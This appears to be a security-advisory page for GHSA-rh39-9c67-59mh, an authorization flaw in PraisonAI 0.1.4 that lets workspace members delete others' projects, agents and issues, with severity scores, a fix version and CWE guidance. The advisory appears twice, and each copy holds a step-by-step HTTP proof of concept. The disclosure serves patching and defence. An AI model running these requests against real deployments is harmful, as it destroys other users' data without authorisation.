GHSA-rh39-9c67-59mh

GHSA-rh39-9c67-59mh HIGH
Published June 18, 2026

### Summary A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role...

Full CISO analysis pending enrichment.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip = 0.1.4 0.1.6
1 dependents 89% patched ~0d to patch Full package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1
8.1 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
N/A

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C None
I High
A High

What should I do?

Patch available

Update PraisonAI to version 0.1.6

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is GHSA-rh39-9c67-59mh?

### Summary A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly. ### Details The [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others' content: | Capability | Owner | Admin | Member | |---|---|---|---| | Create issues/tasks | ✅ | ✅ | ✅ | | Edit own content | ✅ | ✅ | ✅ | | Edit others' content | ✅ | ✅ | ❌ | The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it. **Confirmed vulnerable endpoints:** | Endpoint | Expected | Actual | |---|---|---| | `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 | The missing check is isolated to content resource DELETEs. ### PoC **Requirements:** Two accounts — owner (resource creator) and member (attacker). **1. Register both accounts** ```http POST /api/v1/auth/register Content-Type: application/json {"email": "owner@example.com", "password": "Password1!", "name": "owner"} ``` ```http POST /api/v1/auth/register Content-Type: application/json {"email": "member@example.com", "password": "Password1!", "name": "member"} ``` **2. Owner creates workspace, adds member with `member` role** ```http POST /api/v1/workspaces/ Authorization: Bearer <owner_token> Content-Type: application/json {"name": "Test Workspace"} ``` ```http POST /api/v1/workspaces/{workspace_id}/members Authorization: Bearer <owner_token> Content-Type: application/json {"user_id": "<member_user_id>", "role": "member"} ``` **3. Owner creates a project** ```http POST /api/v1/workspaces/{workspace_id}/projects/ Authorization: Bearer <owner_token> Content-Type: application/json {"title": "Owner's Project"} ``` Response `201 Created`: ```json {"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...} ``` **4. Member deletes the owner's project** ```http DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6 Authorization: Bearer <member_token> ``` Response: **`204 No Content`** **5. Owner confirms the project is permanently gone** ```http GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6 Authorization: Bearer <owner_token> ``` Response: **`404 Not Found`** ```json {"detail": "Project not found"} ``` The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments). --- ### Impact This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this. **Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.

Is GHSA-rh39-9c67-59mh actively exploited?

No confirmed active exploitation of GHSA-rh39-9c67-59mh has been reported, but organizations should still patch proactively.

How to fix GHSA-rh39-9c67-59mh?

Update to patched version: PraisonAI 0.1.6.

What is the CVSS score for GHSA-rh39-9c67-59mh?

GHSA-rh39-9c67-59mh has a CVSS v3.1 base score of 8.1 (HIGH).

What are the technical details?

Original Advisory

### Summary A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly. ### Details The [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others' content: | Capability | Owner | Admin | Member | |---|---|---|---| | Create issues/tasks | ✅ | ✅ | ✅ | | Edit own content | ✅ | ✅ | ✅ | | Edit others' content | ✅ | ✅ | ❌ | The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it. **Confirmed vulnerable endpoints:** | Endpoint | Expected | Actual | |---|---|---| | `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 | The missing check is isolated to content resource DELETEs. ### PoC **Requirements:** Two accounts — owner (resource creator) and member (attacker). **1. Register both accounts** ```http POST /api/v1/auth/register Content-Type: application/json {"email": "owner@example.com", "password": "Password1!", "name": "owner"} ``` ```http POST /api/v1/auth/register Content-Type: application/json {"email": "member@example.com", "password": "Password1!", "name": "member"} ``` **2. Owner creates workspace, adds member with `member` role** ```http POST /api/v1/workspaces/ Authorization: Bearer <owner_token> Content-Type: application/json {"name": "Test Workspace"} ``` ```http POST /api/v1/workspaces/{workspace_id}/members Authorization: Bearer <owner_token> Content-Type: application/json {"user_id": "<member_user_id>", "role": "member"} ``` **3. Owner creates a project** ```http POST /api/v1/workspaces/{workspace_id}/projects/ Authorization: Bearer <owner_token> Content-Type: application/json {"title": "Owner's Project"} ``` Response `201 Created`: ```json {"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...} ``` **4. Member deletes the owner's project** ```http DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6 Authorization: Bearer <member_token> ``` Response: **`204 No Content`** **5. Owner confirms the project is permanently gone** ```http GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6 Authorization: Bearer <owner_token> ``` Response: **`404 Not Found`** ```json {"detail": "Project not found"} ``` The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments). --- ### Impact This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this. **Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.

Weaknesses (CWE)

CWE-285 — Improper Authorization: The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

  • [Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • [Architecture and Design] Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Timeline

Published
June 18, 2026
Last Modified
June 18, 2026
First Seen
June 18, 2026

Related Vulnerabilities